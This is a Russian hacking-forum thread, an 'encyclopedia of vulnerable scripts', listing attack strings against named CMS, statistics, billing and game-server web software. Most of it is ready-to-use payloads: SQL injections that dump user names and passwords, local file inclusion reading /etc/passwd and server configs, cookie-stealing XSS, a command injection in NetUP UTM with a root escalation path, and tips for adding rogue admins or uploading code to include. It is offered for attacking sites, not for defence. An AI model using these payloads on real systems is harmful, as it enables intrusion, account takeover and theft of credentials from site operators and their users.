Форум АНТИЧАТ - Энциклопедия уязвимых скриптов

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)

- - Энциклопедия уязвимых скриптов (https://forum.antichat.xyz/showthread.php?t=19997)

Раскрытие пути в Sypex Dumper Lite 1.0.8:

Если скриптом хоть раз пользовались то:

Код:

http://site/backup/dumper.cfg.php

"backup/dumper.cfg.php" - относительно расположения файла dumper.php .

Также, при неправильном вводе пароля виден DBHOST и есть возможность вводить теги в поле логина, но смысла в этом особого нет, т.к. длина режется до 16 символов.

mamba.ru
-------------------
ищем в гугле

Цитата:

journal/contentcategory.phtml?cat_id=

пассивная xss
site.com/journal/contentcategory.phtml?cat_id=5[код]

OneCMS 2.5 Local File Include

Продукт: OneCMS
Версия: 2.5
Производитель: http://www.insanevisions.com/
Воздействие: Local File Include

Ошибка присутствует в скрипте install_mod.php

Пример:

Код:

http://site.ru/onecms/install_mod.php?act=go&load=shell.php../../../../../../../../../../../../../etc/passwd

TAGWORX.CMS Remote SQL Injection

Продукт: TAGWORX.CMS
Версия: 3.00.02
Производитель: http://www.tagworx.net/
Воздействие: Remote SQL Injection

Ошибка существует из-за недостаточной обработки данных в параметре "cid" в скрипте contact.php и в параметре "nid" в скрипте news.php

Пример:

Код:

http://site.ru/contact.php?cid=-1+UNION+SELECT+concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name))+from+t_user--

http://site.ru/news.php?nid=-1+UNION+SELECT+1,2,3,concat_ws(char(58),id,user_nick,user_pass,concat(user_prename,char(0x20),user_name)),5,6+from+t_user--

локальные сервера wow

wow-ultimate <= 2.0

sql inj:

Код:

gilds.php?guid=[sql]

WOLK site <=(4.0)

local file including:

Код:

lk_n?nw=../../../../mangos/mangosd.conf%00

lk_s?file=../../../../mangos/mangosd.conf%00

lk_u?page=../../../../mangos/mangosd.conf%00

последняя версия распостраняется с ipb 2.3.4 - регистрируемся на форуме, прикрепляем к посту file.txt с пхп кодом, идем по адресу:

Код:

http://site/forum/uploads/monthly_05_2008/

*через 2 дня _06_2008 =) ищем наш файл в формате .ipb, и инклудим его.

Биллинговая система UTM от фирмы NetUp

Множественные уязвимости в NetUP
Программа: NetUP
Опасность: Критическая

Описание: Несколько уязвимостей обнаружено в NetUP. Злонамеренный пользователь может получить доступ к системе и манипулировать учетной записью пользователя.

Сценарии "admin" and "utm_stat” не проверяют "sid" параметр. В результате злонамеренный пользователь может внедриться в сессию другого пользователя через SQL инъекцию:

Цитата:

https://[server]/cgi-bin/utm/admin?cmd=full_view&sid=q%22%20OR%201=1%20OR%20%22 q%22=%22q
https://[server]/cgi-bin/utm/utm_stat?cmd=user_report&sid=q%22%20OR%201=1%20OR% 20%22q%22=%22q

2. Удаленный пользователь может изменять данные других пользователей, используя уязвимость SQL инъекции в '/cgi-bin/utm/user_stat' script сценарии:

Цитата:

https://[server]/cgi-bin/utm/utm_stat?cmd=change_lang?=ru%22,%20bill=10000,%20l ang=%22ru&sid=sessionid

Также сообщается, что множество других сценариев уязвимы к SQL инъекции.

Цитата:

UTM allows its administrators to setup firewall rules. Administrator enters
the parameters for ipchains (in case if Linux) or ipfw (FreeBSD) into
webform, and they are stored in MySQL, and executed with help of sudo. A
malicious administrator can add semicolon and any shell commands to the
firewall rule, and this commands will be executed with uid of httpd process
owner.
However, altering firewall rules is disabled in UTM by default. In this case
an attacker can use more complicated way to execute commands:
The problem is that UTM configuration options from /netup/utm/utm.cfg are
exported to global variables after parsing. This happens on each startup of
aaa, admin or utm_stat. After this, dictionary data for corresponding language
is selected from table dict. This data is also exported to global variables.
Column "variable" becomes variable name, and column "value" its value. So, if
one has access to table dict, he can override configuration options from
/netup/utm/utm.cfg. Overriding option sudo_path allows an attacker to
execute shell commands on server running UTM.
Web interface /cgi-bin/utm/admin allows only to change column value of table
dict. But, further examination shows that admin?cmd=dict_change, is subject
to SQL injection similar to utm_stat?cmd=change_lang, described above.
Passing parameter like

value506='touch /tmp/hacked; /usr/local/bin/sudo", variable="sudo_path'

to admin?cmd=dict_change will rewrite global variable sudo_path, and
'touch /tmp/hacked' will be executed with next call to sudo. The HTTP query
itself is very big, because all rows in table dict are changed with one
query (stupid!), so the query won't be shown here.

-------
Gaining root access

Once an attacker can execute shell commands with uid of httpd process
owner (usually nobody), in most cases he can gain a root shell. The problem
is that in all boxes running UTM sudoers file contains a line:

nobody ALL= NOPASSWD: /bin/mv

So moving from httpd uid to uid 0 is quite easy.

(I don't really know reason for this, but it is even suggested to do it
on vendor's website http://www.netup.ru/?fid=31)

Статистика/счётчик Firestats 1.4.4-stable:

XSS:

Код:

http://site/stats/php/window-delete-site.php?site_id=')"><script>alert(/XSS/)</script>

http://site/stats/php/window-new-edit-site.php?site_id="><script>alert(/XSS/)</script>

http://site/stats/lib/ip2c/test-ip.php?ip=<script>alert(/XSS/)</script>

Возможность узнать префикс БД, имя пользователя БД и хост:

Код:

http://site/stats/php/page-database.php

http://site/stats/tools.php?file_id=system_test (только префикс)

Если админ криворукий, можно добавить новго админа тут:

Код:

http://site/stats/tools.php?file_id=manage_users

Узнать мыло админа и юзеров (не баг, но поидее этого не должно быть):

Код:

http://site/stats/php/page-users.php

http://site/stats/php/window-edit-user.php?user_id=1

Раскрытие пути:

Код:

stats/integration/mediawiki/firestats-mediawiki.php

stats/php/tabbed-pane.php

stats/php/tools-menu.php

stats/firestats-wordpress.php

stats/php/ip2country.php

stats/php/footer.php

status.php

stats/php/page-stats.php

stats/login.php

stats/php/page-add-admin.php

stats/firestats-gregarius.php

stats/lib/ip2c/benchmark.php

stats/lib/ezsql/mysql/ez_sql_mysql.php

З.Ы.
Папка со статистикой может называться и не stats. Багов больше, толком не рылся, это то, что сразу на глаза попалось.

PowerPhlogger 2.2.5

Уязвимости выкладываю в порядке мною нахождения их:)Все проверялись на версии 2.2.5
XSS:
Post-запрос на странице http://site/dspLogs.php

Код:

"><script>alert(document.cookie)</script>

В полях: Host, Referrer, Agent Information, res, colo, online, mp

XSS:

Код:

http://site/dspLogs.php?S_hostname=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_referer=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_agent=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_res=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_color=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_online=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/dspLogs.php?S_mp=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Также нашел интересные мета-теги:

Код:

<meta name="PHP Version" content="..." />

<meta name="MYSQL Version" content="..." />

Странная ксс:
На странице http://site/dspStats.php?edit=mp в логах посещений фильтруется информация про страницы сайта,если счетчик установленный на индексной странице то можно указать код в качестве адреса страницы)

Код:

http:/site/<script>alert(document.cookie)</script>

Вобщем так

Код:

http://site/dspStats.php?edit=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Full path disclosure:

Код:

http://site/include/edCss.inc.php



http://site/include/foot.inc.php



http://site/include/get_csscolors.inc.php



http://site/include/head.inc.php



http://site/include/head_stuff.inc.php



http://site/include/loglist.inc.php



http://site/include/pphlogger_send.inc.php



http://site/modules/usercreate.php



http://site/modules/htmlMimeMail.php



http://site/modules/img_vis_per_hour.mod.php



http://site/edit_user.php



http://site/main-dummy.php



http://site/main.php



http://site/modules/htmlMimeMail.php



http://site/modules/img_vis_per_hour.mod.php



http://site/modules/usercreate.php

Еще XSS(найденые мною давно):

Post запрос на странице http://site/edUserprofile.php (возможны как Get так и Post запросы)

Код:

</textarea><script>alert(document.cookie)</script>

В параметре N_your_url

Код:

"><script>alert(document.cookie)</script>

В параметрe N_email

Код:

"><script src=http://site.com

В параметрах N_fg_c, N_bg_c (ограничение в 30 символов)

XSS:

Код:

http://site/edCss.php?css_str=12%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&action=edit

SQL Injection:

Код:

http://site/edCss.php?css_str=-1%20union%20select%20null,null,id,username,pw,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20pphl_users%20limit%200,1&action=edit

DoS:

http://site/newaccount_self.php

Скрипт редеректит сам себя.Mozilla автомаматический останавливает процесс,а вот ИЕ-нет.Поэтому если клиент,который обращается к скрипту сам не остановит редирект(например какой-то бот поисковых систем) то создается большая нагрузка на сервер.

Information Leakage:

http://site/main_location.inc

XSS:

Код:

http://site/dspLogs.php/%22%3E%3Cscript%20src=script.js%20

Код:

http://site/dspStats.php/%22%3E%3Cscript%20src=script.js%20

Код:

http://site/edCss.php/%22%3E%3Cscript%20src=script.js%20

Данные ксс возможны в связи с использованием в скриптах $PHP_SELF.

XSS:

Код:

http://site/bookmarks/%3CBODY%20onload=alert(document.cookie)%3E

Код:

http://site/?sort=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Вводим в поиске следующий пост запрос

Код:

</textarea><script>alert(document.cookie)</script>

Local File Inclusion:

Код:

http://site.com/help/syntax.html?la=/../query

Boundless Source

XSS:

Код:

http://site/catalog/index.cgi?search=%3Cscript%3Ealert(document.cookie)%3C/script%3E&sparam=all&category=cat20

Код:

http://site/catalog/add-lnk.cgi?cmd=sendpassword&id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Код:

http://site/catalog/add-lnk.cgi?cmd=edit&id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Код:

http://site/catalog/admin.cgi?cmd=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Активка:
На странице http://site/catalog/add-lnk.cgi?cmd=showform пишем

Код:

<BODY onload=alert(document.cookie)

В полях: Название ресурса, URL, Регион, Описание сайта.